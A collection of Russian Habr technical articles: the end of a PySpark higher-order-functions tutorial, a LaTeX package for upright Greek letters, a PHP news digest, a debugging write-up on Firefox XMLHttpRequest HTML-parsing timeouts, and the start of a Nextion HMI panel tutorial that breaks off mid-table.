length(y)).alias('sum'), (x.count + 1).alias('count') ), lambda x: x.sum / x.count ) ) ).show(truncate=False) +---+-------------------------------+--------------+ |id |cities |cities_avg_len| +---+-------------------------------+--------------+ |1 |[prague, london, tokyo, sydney]|5.75 | +---+-------------------------------+--------------+ ``` Как вы видите, это более продвинутый пример, в котором нам нужно будет иметь около двух значений во время агрегации, и мы представляем их с помощью [*struct()*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.struct.html#pyspark.sql.functions.struct), которая имеет два субполя *sum* и *count*. С помощью первой анонимной функции мы вычисляем конечную сумму всех длин, а также count — количество просуммированных элементов. Во второй анонимной функции делим эти два значения, чтобы получить окончательное среднее значение. Также обратите внимание, что перед использованием *aggregate* мы сначала отфильтровали нулевые значения, потому что если мы сохраним нулевое значение в массиве, то сумма (а также среднее значение) станет нулевой. Чтобы ознакомиться с другим примером применения *aggregate* HOF в выражениях SQL, посмотрите [этот](https://stackoverflow.com/questions/59181802/how-to-count-the-trailing-zeroes-in-an-array-column-in-a-pyspark-dataframe-witho/59194663#59194663) вопрос на Stack Overflow. Помимо этих пяти вышеупомянутых HOF, существует также [*zip\_with*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.zip_with.html#pyspark.sql.functions.zip_with), который можно использовать для объединения двух массивов в один. Кроме этого, существуют и другие HOF, такие как [*map\_filter*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.map_filter.html#pyspark.sql.functions.map_filter), [*map\_zip\_with*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.map_zip_with.html#pyspark.sql.functions.map_zip_with), [*transform\_keys*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.transform_keys.html#pyspark.sql.functions.transform_keys) и [*transform\_values*](https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.functions.transform_values.html#pyspark.sql.functions.transform_values), которые используются с картами, и мы рассмотрим их в одной из следующих статей. **Заключение** В этой статье были рассмотрены функции высшего порядка (HOFs), которые появились в версии Spark 2.4. Сначала она поддерживалась только в выражениях SQL, но начиная с версии 3.1.1 доступна и в Python API. Также привели примеры пяти HOFs, которые позволяют преобразовывать, фильтровать, проверять существование и объединять элементы в массивах Spark. До появления HOF большинство этих задач приходилось решать с помощью функций, определяемых пользователем. Однако подход HOF более эффективен с точки зрения производительности, и чтобы увидеть некоторые контрольные показатели эффективности, обратитесь к другой моей недавней [статье](https://towardsdatascience.com/performance-in-apache-spark-benchmark-9-different-techniques-955d3cc93266), в которой приведены конкретные цифры. --- > Материал подготовлен в рамках курса [«Spark Developer»](https://otus.pw/JJQX/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [**здесь.**](https://otus.pw/rpP1/) > >
https://habr.com/ru/post/575740/
null
ru
null
# Как сделать греческие буквы в формулах прямым шрифтом в LaTeX Как известно, в формулах LaTeX греческие буквы и интегралы являются наклонными. В старой советской литературе в формулах греческие буквы и интегралы были прямые и некоторые люди требуют, чтобы в статьях, диссертациях, авторефератах и прочих документах греческие буквы тоже были прямым шрифтом. Далее предлагается пакет, который может реализовать такое в LaTeX. Данный пакет я сделал в процессе работы над диссертацией, когда от меня попросили, чтобы греческие буквы в формулах были прямым шрифтом. Это картинка, которая показывает, как будут выглядеть формулы, написанные в LaTeX, если подключить мой пакет: ![](https://habrastorage.org/r/w1560/files/604/6cb/2a7/6046cb2a776b4b6e90ee563827d953a8.png) Если кому-то такое вдруг понадобилось, то см. под кат. Готового пакета для LaTeX, реализующего такую функцию, я не нашёл. Поиск решения привёл к использованию пакета mathptm, но с этим пакетом формулы начинают выглядеть как в Word'e. Латинские символы становятся промежуточными между обычным и полужирным начертанием. Также теряется полужирное начертание у заголовков \section, \subsection. Вобщем, пришлось делать свой собственный велосипед. Идея, положенная в основу моего пакета заимствована [здесь](https://vk.com/wall646833_317). По ссылке рассказано, как переопределить греческие буквы в преамбуле документа. Всё оформлено в виде трёх пакетов: * rumathgrk — определяет прямые греческие символы например \alphaup — прямая буква «альфа» \betaup — прямая буква «бета» и т.д. * rumathgrk1 — переопределяет стандартные греческие символы ( \alpha, \beta и т.п.), чтобы они были прямыми * fixint — переопределяет интегралы, чтобы они были прямыми. Нужно заметить, что класс disser с опцией fixint делает то же самое. Для использования подключить в преамбуле любой из этих пакетов в любых сочетаниях. Чтобы использовать пакет fixint, нужно подключить пакет amsmath. Пакеты совместимы с популярным набором стилей для оформления диссертаций disser. Вот пример минимального документа: ``` \documentclass[a4paper,12pt]{article} \usepackage[koi8-r]{inputenc} \usepackage[russian]{babel} \usepackage{hyperref} \usepackage{mathtext} \usepackage{amsmath} \usepackage{fixint} % здесь подключили наши пакеты \usepackage{rumathgrk1} % теперь греческие буквы и интегралы будут переопределены \begin{document} % В этих формулах греческие буквы печатаются прямым шрифтом \begin{equation} S(\omega)=F[s(t)]=\int\limits_{-\infty}^{+\infty}s(t)\mbox{e} ^{-j\omega t} dt \end{equation} \begin{equation} F=\frac{q_1 q_2}{4\pi \varepsilon_0 \varepsilon r^2} \end{equation} \end{document} ``` Если прямые интегралы и греческие буквы в документе станут больше не нужны, то нужно просто убрать из преамбулы пакеты rumathgrk1 и fixint. Забирать готовые пакеты можно с Гитхба: [отсюда](https://github.com/ra3xdh/rumathgrk) В Linux если установлен git, это можно сделать командой: ``` git clone https://github.com/ra3xdh/rumathgrk ``` Для установки в Linux и TeXlive в консоли перейти в директорию с пакетом и выполнить команду: ``` make install ``` В Windows пакеты не тестировались, но тоже должно работать. Устанавливать для MiKTeX их надо вручную. Допускается использование с любыми целями. И в заключение замечу, что мне больше нравятся стандартные наклонные греческие буквы и интегралы из LaTeX. Ещё отмечу, что в целом у нас народ относится к наклонным интегралам и греческим буквам терпимо. Обычно стандартный шрифт LaTeX всех устраивает.
https://habr.com/ru/post/245785/
null
ru
null
# PHP-Дайджест № 157 (20 мая – 3 июня 2019) [![](https://habrastorage.org/r/w780q1/webt/ui/tj/r6/uitjr63f89-4m1dnefvy-wcdf10.jpeg)](https://habr.com/ru/post/454558/) Свежая подборка со ссылками на новости и материалы. В выпуске: обновления безопасности PHP, коммерческая компания Doctrine, PhpStorm 2019.2 EAP, Symfony 4.3, порция полезных инструментов, видеозаписи, и многое другое. Приятного чтения! ### Новости и релизы * [PHP 7.3.6](https://www.php.net/ChangeLog-7.php#7.3.6) * [PHP 7.2.19](https://www.php.net/ChangeLog-7.php#7.2.19) * [PHP 7.1.30](https://www.php.net/ChangeLog-7.php#7.1.30) * Создатели Doctrine после 10 лет существования проекта [основали одноимённую коммерческую компанию](https://www.doctrine-project.org/2019/05/21/monetizing-open-source.html). Теперь доктрину можно официально профинансировать, купить тренинги или консультации, а также записаться на платные вебинары. * [Статистика версий PHP – 2019.1](https://blog.packagist.com/php-versions-stats-2019-1-edition/) — Традиционная подборка статистики по распределению версий PHP на основе данных, которые отправляет Composer при подключении к packagist.org. Использование новых версий PHP растёт, а суммарная доля всех PHP 5.\* составляет около 10%. * [PhpStorm 2019.2 EAP](https://blog.jetbrains.com/phpstorm/2019/05/phpstorm-2019-2-early-access-program-is-open/) — Стартовала программа раннего доступа PhpStorm, благодаря которой можно пощупать новые возможности IDE совершенно бесплатно. Среди нововведений доступных уже сейчас: автоинжект и подсветка регулярных выражений в PHP, поддержка типизированных свойств PHP 7.4, поиск копипасты на лету прямо в редакторе, поддержка синтаксиса cURL в HTTP-клиенте, EditorConfig из коробки, и другое. * В PHP-FIG [завершились выборы участников Core-комитета](https://medium.com/php-fig/updates-from-the-php-fig-up-until-the-may-elections-4acceb86de8) — Новым секретарём стал [Asmir Mustafic](https://twitter.com/goetas_asmir), к прежним участникам комитета [Beau Simensen](https://twitter.com/beausimensen), [Larry Garfield](https://twitter.com/Crell) и [Matthew Weier O’Phinney](https://twitter.com/mwop) присоединились [Woody Gilk](https://twitter.com/shadowhand) и [Matteo Beccati](https://twitter.com/mbeccati). Подробнее о [структуре PHP-FIG](https://medium.com/@michaelcullumuk/fig-3-0-91dbfd21c93b). ### PHP Internals * ![audio](https://habrastorage.org/r/w1560/webt/d1/ma/lh/d1malhabo7kf3wgh3xm03mcgdim.png) [PHP Internals News #12:](https://phpinternals.news/12) — C Sara Goleman о реализации алгоритма хеширования argon2i(d). * ![audio](https://habrastorage.org/r/w1560/webt/d1/ma/lh/d1malhabo7kf3wgh3xm03mcgdim.png) [PHP Internals News #11:](https://phpinternals.news/11) — C Joe Watkins o его расширении [krakjoe/parallel](https://github.com/krakjoe/parallel). * [Интервью с Peter Kokot](https://www.agiledrop.com/blog/interview-our-developer-peter-one-release-managers-php-74), релиз-менеджером PHP 7.4 ### Инструменты * [remotelyliving/php-dns](https://github.com/remotelyliving/php-dns) — Библиотека для работы с DNS с различными стратегиями резолва записей. * [Roave/you-are-using-it-wrong](https://github.com/Roave/you-are-using-it-wrong) — Инструмент для авторов пакетов для гарантирования безопасного использования ваших типов. Запускает [psalm](https://github.com/vimeo/psalm) во время выполнения `composer install`. * [php-censor/php-censor 1.1.0](https://github.com/php-censor/php-censor/releases/tag/1.1.0) — CI-сервер на PHP. * [hollodotme/fast-cgi-client](https://github.com/hollodotme/fast-cgi-client) — Клиент FactCGI для отправки (а)синхронных запросов в PHP-FPM. Примеры использования [с Redis](https://hollo.me/php/experimental-async-php-volume-1.html) и [с RabbitMQ](https://hollo.me/php/experimental-async-php-volume-2.html). * [CachetHQ/Cachet](https://github.com/CachetHQ/Cachet) — Статус страница для вашего приложения. * [terrylinooo/shieldon](https://github.com/terrylinooo/shieldon) — Библиотека для защиты приложения от скрапинга. * [goldspecdigital/oooas](https://github.com/goldspecdigital/oooas) — Позволяет описать OpenAPI спеку в виде PHP-объектов и экспортировать в json. * [Dependabot](https://dependabot.com/php/) — Автоматически создаёт пул-реквесты на обновление ваших зависимостей. ### Symfony * [Symfony 4.3.0](https://symfony.com/blog/symfony-4-3-0-released) — Добавлены новые компоненты [HttpClient](https://github.com/symfony/http-client), [Mailer](https://github.com/symfony/mailer), [Mime](https://github.com/symfony/mime) и много других улучшений, подробно описанных в [блогпостах](https://symfony.com/blog/category/living-on-the-edge/4.3). Автоматически обновить своё приложение можно с помощью [rectorphp/rector](https://github.com/rectorphp/rector). Также [закончился период поддержки 2.7](https://symfony.com/roadmap/2.7) * [Неделя Symfony #648 (27 мая — 2 июня 2019)](https://symfony.com/blog/a-week-of-symfony-648-27-may-2-june-2019) * [Деплой serverless Symfony на AWS Lambda с помощью Bref](https://blog.theodo.com/2019/05/serverless-symfony-on-aws-lambda-with-bref/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Symfony CLI — новый инструмент для локальной разработки](https://habr.com/ru/post/451138/) ### Laravel * [lorisleiva/laravel-actions](https://github.com/lorisleiva/laravel-actions) — Минипакет предлагает организацию приложения в виде классов-экшнов. * [brunocfalcao/larapush](https://github.com/brunocfalcao/larapush) — Деплой приложения с помощью одной команды artisan. * [overtrue/laravel-versionable](https://github.com/overtrue/laravel-versionable) — Версионирование моделей Eloquent. * [Кэширование полного ответа в Laravel](https://freek.dev/caching-the-entire-response-of-a-laravel-app) с помощью [spatie/laravel-responsecache](https://github.com/spatie/laravel-responsecache). * [Кастомизируем Laravel Nova](https://christoph-rumpel.com/2019/05/customizing-laravel-nova) * ![video](https://habrastorage.org/getpro/habr/post_images/976/d3e/38a/976d3e38a34b003f86f91795524af9f8.gif) [Стрим](https://www.youtube.com/watch?v=toHl3r7tvn0) по реализации пул-реквеста для [spatie/laravel-newsletter](https://github.com/spatie/laravel-newsletter) * ![video](https://habrastorage.org/getpro/habr/post_images/976/d3e/38a/976d3e38a34b003f86f91795524af9f8.gif)![ru](https://habrastorage.org/getpro/habr/post_images/c72/991/4ca/c729914ca9c21661c5abd81052c6a10e.gif) [Роль пакетов в Laravel разработке](https://www.youtube.com/watch?v=J2YTWD2563I) * ![audio](https://habrastorage.org/r/w1560/webt/d1/ma/lh/d1malhabo7kf3wgh3xm03mcgdim.png) Подкаст Тейлора [Laravel Snippet #13](https://blog.laravel.com/laravel-snippet-13) — О [laravel/ui](https://github.com/laravel/ui), монетизации опенсорса, Laracon 2019 и другом. ### Yii * ![ru](https://habrastorage.org/getpro/habr/post_images/c72/991/4ca/c729914ca9c21661c5abd81052c6a10e.gif) [Интервью с Александром Макаровым, разработчиком Yii](http://unetway.com/blog/interview-alex-makarov/) ### Async PHP * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Управляем асинхронностью в PHP: от промисов к корутинам](https://habr.com/ru/company/skyeng/blog/453296/) ### Материалы для обучения * [Как уменьшить когнитивную нагрузку при программировании](https://stitcher.io/blog/a-programmers-cognitive-load) * [Немного бенчмарков PHP 7.4](https://phoronix.com/scan.php?page=news_item&px=PHP-7.4-Early-Benchmarks) — Виден минимальный прирост по сравнению с 7.3, но не учитывается возможность использовать [предзагрузку в PHP 7.4](https://wiki.php.net/rfc/preload). * ![video](https://habrastorage.org/getpro/habr/post_images/976/d3e/38a/976d3e38a34b003f86f91795524af9f8.gif) [Как построить рабочее окружение на базе Docker](https://www.pascallandau.com/blog/structuring-the-docker-setup-for-php-projects/) * [Глобальное состояние](https://thevaluable.dev/global-variable-states/) — почему и когда стоит избегать. * ![ru](https://habrastorage.org/getpro/habr/post_images/c72/991/4ca/c729914ca9c21661c5abd81052c6a10e.gif) [solarrust/hacker-laws](https://github.com/solarrust/hacker-laws) — Законы, теории, принципы и модели, которые полезно знать разработчикам. * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Зарисовки с PHP Russia 2019: чистый код, тёмная магия](https://habr.com/ru/company/oleg-bunin/blog/454028/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Тесты на Codeception для PHP-бэкендов](https://habr.com/ru/company/lamoda/blog/452136/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Бессерверный PHP на AWS Lambda](https://habr.com/ru/company/otus/blog/453116/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [PHP: Как разобрать сложный XML-файл и не утонуть в собственном коде](https://habr.com/ru/post/452648/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [PHPUnit. Мокаем Doctrine Entity Manager](https://habr.com/ru/post/452244/) * ![habr](https://habrastorage.org/r/w1560/getpro/habr/post_images/500/4e4/176/5004e41767c539382d09c44e143f9bd6.png) [Микрофреймворк slim](https://habr.com/ru/post/452834/) * ![video](https://habrastorage.org/getpro/habr/post_images/976/d3e/38a/976d3e38a34b003f86f91795524af9f8.gif) [PHP fwdays'19](https://www.youtube.com/watch?v=o0qJvLJlj5I) — Видеопоток из главного зала прошедшей в Киеве конференции. Спасибо за внимание! Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/). Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy). Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**. [Прислать ссылку](https://bit.ly/php-digest-add-link) [Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/) ← [Предыдущий выпуск: PHP-Дайджест № 156](https://habr.com/ru/post/452560/)
https://habr.com/ru/post/454558/
null
ru
null
# История одного расследования о странном поведении XMLHttpRequest в новых версиях Firefox #### I. Суть проблемы. В список основных предназначений XMLHttpRequest, конечно, не входит запрос HTML, чаще этот инструмент взаимодействует с XML, JSON или простым текстом. Однако связка XMLHttpRequest + HTML хорошо работает при создании расширений к браузеру, которые в фоновом режиме опрашивают на предмет новостей сайты, не предоставляющие для этого почтовую подписку, RSS или другие экономные API или предоставляющие эти сервисы с какими-то ограничениями. При создании нескольких расширений для Firefox я сталкивался с такой необходимостью. Работать с полученным от XMLHttpRequest кодом HTML при помощи регулярных выражений — способ очень ненадёжный и громоздкий. Получить DOM от XMLHttpRequest можно было лишь для правильного XML. Поэтому приходилось следовать [хитрым советам на сайте разработчиков](https://developer.mozilla.org/en/Code_snippets/HTML_to_DOM). Однако начиная с Firefox 11 появилась [возможность непосредственного получения DOM от XMLHttpRequest](https://developer.mozilla.org/en/HTML_in_XMLHttpRequest), а в Firefox 12 была добавлена обработка таймаутов. Я испытал новую возможность на создании мини-индикаторов новых топиков для двух небольших форумов, и это оказалось очень удобным (50 строчек кода плюс расширение [CustomButtons](https://addons.mozilla.org/ru/firefox/addon/custom-buttons/) — вот и готовый индикатор за пять минут, с опросами по таймеру и четырьмя состояниями: нет новостей, есть новости, ошибка и таймаут; подробнее можно почитать [здесь](http://habrahabr.ru/post/146594/)). Всё работало как часы. Поэтому я попытался убрать из кода своих расширений все прежние костыли и ввести туда новый удобный парсинг. Однако при работе с сайтом **rutracker.org** возникла странная проблема (тестирование проходит на последней ночной сборке под Windows XP; очень прошу прощения за все косяки в коде и формулировках: у меня нет программистского образования и опыт мой в этой сфере, к сожалению, очень невелик.). Нижеследующий упрощённый пример кода почти всё время уходит в таймаут (для проверки нужно авторизоваться на сайте — далее станет понятно, почему это существенно): ``` var xhr = new XMLHttpRequest(); xhr.mozBackgroundRequest = true; xhr.open("GET", "http://rutracker.org/forum/index.php", true); xhr.timeout = 10000; xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE; xhr.responseType = "document"; xhr.onload = function() { alert(this.responseXML.title); } xhr.onerror = function() { alert("Error!"); } xhr.ontimeout = function() { alert("Timeout!"); } xhr.send(null); ``` Причём загвоздка именно в парсинге HTML в DOM, потому что сайт отдаёт страницу без задержки и, например, следующий код без парсинга работает без запинок: ``` var xhr = new XMLHttpRequest(); xhr.mozBackgroundRequest = true; xhr.open("GET", "http://rutracker.org/forum/index.php", true); xhr.timeout = 10000; xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE; xhr.onload = function() { alert(this.responseText.match(/.+?<\/title>/i)[0]); } xhr.onerror = function() { alert("Error!"); } xhr.ontimeout = function() { alert("Timeout!"); } xhr.send(null); ``` [Спецификация](http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html) XMLHttpRequest утверждает, что при парсинге HTML/XML в DOM *scripts in the resulting document tree will not be executed, resources referenced will not be loaded and no associated XSLT will be applied*, то есть скрипты не отрабатываются и никакие ресурсы не загружаются (что подтверждается мониторингом HTTP активности при описанных запросах), так что с этих сторон задержки быть не может. Единственная загвоздка может быть только в структуре самого DOM: парсинг почему-то зависает и создаёт псевдо-таймаут. #### II. Дополнительные наблюдения. Тогда я создал небольшой скрипт для DOM-статистики и стал при его помощи анализировать проблемную страницу. ``` var doc = content.document; var root = doc.documentElement; var text_char = root.textContent.length; var elm_nodes = doc.evaluate(".//*", root, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null).snapshotLength; var txt_nodes = doc.evaluate(".//text()", root, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null).snapshotLength; var com_nodes = doc.evaluate(".//comment()", root, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null).snapshotLength; var all_nodes = doc.evaluate(".//node()", root, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null).snapshotLength; var max_nst_lv = 0; var max_nst_lv_nodes = 0; for (var level = 1, pattern = "./node()"; level <= 50; level++, pattern += "/node()") { var elm_num = doc.evaluate(pattern,root,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null).snapshotLength; if (elm_num) { max_nst_lv = level; max_nst_lv_nodes = elm_num; } } alert( text_char + "\ttext characters\n\n" + elm_nodes + "\telement nodes\n" + txt_nodes + "\ttext nodes\n" + com_nodes + "\tcomment nodes\n" + all_nodes + "\tall nodes\n\n" + max_nst_lv_nodes + " nodes in the " + max_nst_lv + " maximum nesting level\n" ); ``` Вот некоторые ещё более озадачившие меня данные. 1. [Заглавная страница форума](http://rutracker.org/forum/index.php) с отключённым JavaScript имеет: 49677 знаков в текстовых узлах, 4192 HTML элементов, 4285 текстовых узлов, 77 комментариев, всего 8554 узлов; 577 узлов на максимальном 25-м уровне вложенности узлов. 2. Если выйти из форума и загрузить страницу для неавторизованных пользователей, получится такая статистика: 47831 знаков в текстовых узлах, 3336 HTML элементов, 4094 текстовых узлов, 73 комментариев, всего 7503 узлов; 1136 узлов на максимальном 24-м уровне вложенности узлов. Структура явно проще и если испробовать проблемный код, выйдя из форума (то есть на этой странице для неавторизованных пользователей), то никаких таймаутов не происходит. 3. Попробовал загружать проблемную страницу на испытательный сайт и понемногу упрощать её структуру. Например, если удалить все элементы `td` с классом *row1* (заголовки форумов и субфорумов в таблице на заглавной странице) и больше ничего не менять, получим такую статистику: 20450 знаков в текстовых узлах, 1355 HTML элементов, 1726 текстовых узлов, 77 комментариев, всего 3158 узлов; 8 узлов на максимальном 25-м уровне вложенности узлов. И опять-таки данная страница за очень редким исключением не даёт таймаутов. 4. Очень странное значение имеют элементы `script`. На заглавной странице их 19 (в head и body вместе взятых, загружаемых и встроенных). Если удалить только эти элементы, страница перестаёт давать таймауты. Причём если удалять от конца до начала, нужно удалять все (даже если оставить первый загружаемый скрипт в head, таймауты продолжаются). А если удалять от начала до конца, таймауты прекращаются после удаления скрипта, встроенного в элемент `p` класса *forum\_desc hidden* в разделе «Правила, основные инструкции, FAQ-и», после него можно оставить ещё 6 скриптов, и таймауты всё равно прекратятся (причём удаление только этого скрипта проблему не решает). Причём если все 19 скриптов заменить пустыми элементами `script` без кода и без атрибута *src*, таймауты остаются. Но если эти пустые элементы заменить на такие же пустые элементы `style` в том же количестве, таймауты сразу пропадают. 5. При помощи скрипта на PERL попробовал создать тестовый HTML с более-менее сложной структурой (но без элементов `script`). Получился файл размером почти в 10 мегабайт со следующей статистикой: 9732505 знаков в текстовых узлах, 25004 HTML элементов, 25002 текстовых узлов, 1000 комментариев, всего 51006 узлов; 1000 узлов на максимальном 27-м уровне вложенности. Вроде бы структура объёмнее и сложнее проблемной страницы, однако никаких таймаутов она не вызывает. Стало очевидным, что дело в каком-то неоднозначном сочетании объёма/сложности/специфики элементов. 6. Стоило только добавить к этой смоделированной странице элементы `script`, таймауты вернулись (хоть порог таймаута я увеличил в этом сложном случае до минуты). #### III. Создание легко воспроизводимого прецедента. У меня получилось достичь некоторого критического минимума проблемности структуры, соизмеримой со структурой заглавной страницы трекера, при помощи такого скрипта на PERL: ``` use strict; use warnings; open(OUTPUT, '>:raw:encoding(UTF-8)', "test.html") or die "Cannot write to test.html: $!\n"; print OUTPUT "\n" . "Test" . (("abcd" x 25 . "" x 25 ) x 10 . "var a = 1234;") x 20 . "\n"; close(OUTPUT); ``` Статистика страницы: 20265 знаков в текстовых узлах, 5024 HTML элементов, 5022 текстовых узлов, 0 комментариев, всего 10046 узлов; 200 узлов на максимальном 27-м уровне вложенности узлов. В том числе 20 простейших элементов `script`. Получаем 10 таймаутов из 10 попыток. При разных попытках упростить структуру или сократить объём вероятность таймаутов снижается, но довольно непредсказуемым образом (ни одно из указанных упрощений не накладывалось на другое, перед каждым скрипт возвращался к исходному коду): — перемещение всех элементов `script` в конец кода (при том, что больше ничего не меняется и статистика остаётся прежней): 0 таймаутов из 10 попыток. — замена элементов `script` на элементы `span` с одним атрибутом и тем же текстовым содержимым (без перемещения в конец): 0 таймаутов из 10 попыток. — сокращения текста скрипта на 3 знака: 7 таймаутов из 10. — удаления всего содержимого скрипта (остаётся только пустой тег): 6 таймаутов из 10 попыток. — сокращение текста элементов `div` до одного знака: 5 таймаутов из 10 попыток. — полное удаление текста элементов `div` (получается пустая страница): 7 таймаутов из 10 попыток. — сокращение атрибута *class* элементов `div` до одного знака: 8 таймаутов из 10 попыток. — удаление атрибута *class* элементов `div`: 1 таймаут из 10 попыток. — сокращение количества элементов `script` до 2 (в середине кода и в конце): опять 10 таймаутов из 10 попыток. — сокращение количества элементов `script` до 1 (в начале кода): всё те же 10 таймаутов из 10 попыток (но если этот элемент переместить в конец кода, таймауты пропадают совершенно). — сокращение количества элементов `div` (и соответственно текстовых узлов) наполовину с сохранением максимального уровня вложенности: 3 таймаута из 10 попыток. — сокращение максимального уровня вложенности наполовину (общее количество элементов и текстовых узлов остаётся почти тем же, но вдвое вырастает количество элементов на максимальном уровне вложенности): 7 таймаутов из 10 попыток. — сокращение максимального уровня вложенности всего до 3 (`body/div/`текст или `body/script/`текст) с сохранением общего количества элементов: 8 таймаутов из 10 попыток. #### IV. Предварительные выводы. Во всех описанных случаях никакой перегрузки процессора не наблюдалось, так что нет оснований винить в зависаниях аппаратную часть (как и задержки в сети: код получается за доли секунды, в браузере страница рендерится за время значительно меньшее таймаутов). Очевидно, в XMLHttpRequest под парсинг HTML в DOM выделяются какие-то ограниченные ресурсы, которые исчерпываются разным сочетанием параметров. Причём загадочную роль играют элементы `script` (которые даже не исполняются) и особенно их порядок в коде. Если этот верно, стоит увеличить ресурсы и снизить странную зависимость от вида и порядка элементов, поскольку проблема отнюдь не надуманная и возникает в ходе обычной разработки расширений. #### V. Что дальше. Когда я только начинал анализировать проблему и спросил совета на нескольких сайтах, на forums.mozilla.org администратор предположил баг в сфере производительности и посоветовал отослать сообщение на bugzilla.mozilla.org в раздел Core::DOM с описанием воспроизводимой ситуации. Тогда я имел ещё очень мало данных, да и сейчас они очень неясны. Поэтому буду благодарен за любые соображения, позволяющие конкретизировать проблему и внятно её сформулировать. Иначе ведь придётся переводить всю эту простыню на английский (что мне при моём уровне владения языком и материалом будет сделать очень непросто) и постить на bugzilla.mozilla.org как есть, что, конечно, будет проявлением неуважительности к чужому времени.
https://habr.com/ru/post/145953/
null
ru
null
# FLProg + Nextion HMI Enhanced ![](https://habrastorage.org/files/89d/d27/36e/89dd2736e88945caabb83f1ff96fd3ac.JPG) Компания ITEAD выпустила новую линейку Enhanced своих панелей Nextion HMI. Представители компании предоставили мне экземпляр этой линейки для интеграции новых возможностей панели в программу FLProg. В версии 2.2 это было реализовано. В данном уроке мы рассмотрим новые возможности панели, и для примера создадим программируемый таймер на пять каналов. Для начала рассмотрим характеристики панели. В линейке Enhanced появились встроенные часы реального времени, 1024 байта энергонезависимой памяти, 8 цифровых входов/выходов. Каждый них может быть настроен как вход, так и как выход. Четыре из них (с 4-го по 7) могут быть настроены как выходы ШИМ. ![](https://habrastorage.org/files/67b/801/370/67b8013701ed4c9592ac313a40a27e9f.JPG) Кроме непосредственно самой линейки «Nextion HMI Enhanced» была выпущена плата «Expansion Board» ![](https://habrastorage.org/r/w780q1/files/df4/974/c5c/df4974c5c35d4f909f3bc441771a3254.jpg) На ней установлены органы управления и индикации, привязанные к GPIO панели. ![](https://habrastorage.org/r/w780q1/files/115/b52/b6a/115b52b6a05e49f085511cd667fe4004.jpg) Такие возможности позволяют на базе этой панели сделать практически законченное устройство. В данном уроке я основной упор сделаю на программирование самой панели, поскольку информации по этому поводу мало, а подводных камней много. Ссылка на проект для программы Nextion Editor есть в конце поста. Начало работы с редактором Nextion Editor, его запуск, начальный выбор кодировки, типа панели рассмотрено в моих предыдущих постах [тыц](https://geektimes.ru/company/flprog/blog/273868/), [тыц](https://geektimes.ru/company/flprog/blog/274050/) , и [тыц](https://geektimes.ru/company/flprog/blog/274134/). Поэтому не будем на этом останавливаться. Программа панели состоит из трёх экранов Главного (***Main***), Настройка таймера (***SetTimer***) и Установка времени (***SetCurrentTime***). Начнём с главного экрана. ![](https://habrastorage.org/files/6a8/c8c/671/6a8c8c671fa44f48b89274f4f2bc39d2.PNG) На этом экране отображаются уставки включения, выключения, состояния каждого канала, кнопки изменения состояния каналов, и кнопка перехода на экран настройки текущего времени. При клике на текст, отображающий уставки канала, происходит переход на настройку данного канала. Кроме того на этом экране находятся четыре скрытые кнопки необходимые для привязки к физическим кнопкам находящихся на ***Expansion Board.***. ![](https://habrastorage.org/files/c93/159/524/c9315952439f428ebb7c0a1035590e71.PNG) Рассмотрим код, содержащийся на главном экране. Событие ***Preinitialilize Event*** (вызывается перед инициализацией экрана). ``` cfgpio 0,1,b0 // Кнопка Esc (IO0) привязывается к виртуальной кнопке b0 "Установить время" cfgpio 2,1,b8 // Кнопка Right (IO2) привязывается к виртуальной кнопке b8 -"Редактировать выбранный канал" cfgpio 3,1,b7 // Кнопка Down (IO3) привязывается к виртуальной кнопке b7 -"Перейти на следующий канал" cfgpio 4,1,b6 // Кнопка Up (IO4) привязывается к виртуальной кнопке b6 -"Перейти на предыдущий канал" cfgpio 5,1,b9 // Кнопка Left (IO5) привязывается к виртуальной кнопке b9 -"Переключить состояние канала" SelTim.val=1 // Выбор первого канала ``` Здесь мы привязываем физические кнопки, находящиеся на Expansion Board, к виртуальным кнопкам на экране. **Подробнее о команде cfgpio - настройка физических входов - выходов панели (данная команда есть только у панелей линейки Enhanced).** Синтаксис: ***cfgpio id,state,cmp*** где: ***id***: номер входа/выхода (0-7) ***state***: режим работы (0-4) ***cmp***: имя привязываемого компонента (актуально только режиме работы 1, в остальных случаях — 0). Обратите внимание на наличие пробелов. Обязательный пробел после команды ***cfgpio*** дальше в тексте команды пробелы не допустимы. Возможные режима работы: | Номер режима | Описание | Пример | | --- | --- | --- | | 0 | Вход с подтяжкой к + 5 вольтам (встроенный резистор 50 кОм). Текущее состояние можно прочитать из системной переменной ***pio0 – pio7*** (для 0- 7 входа/выхода соответственно | ***cfgpio 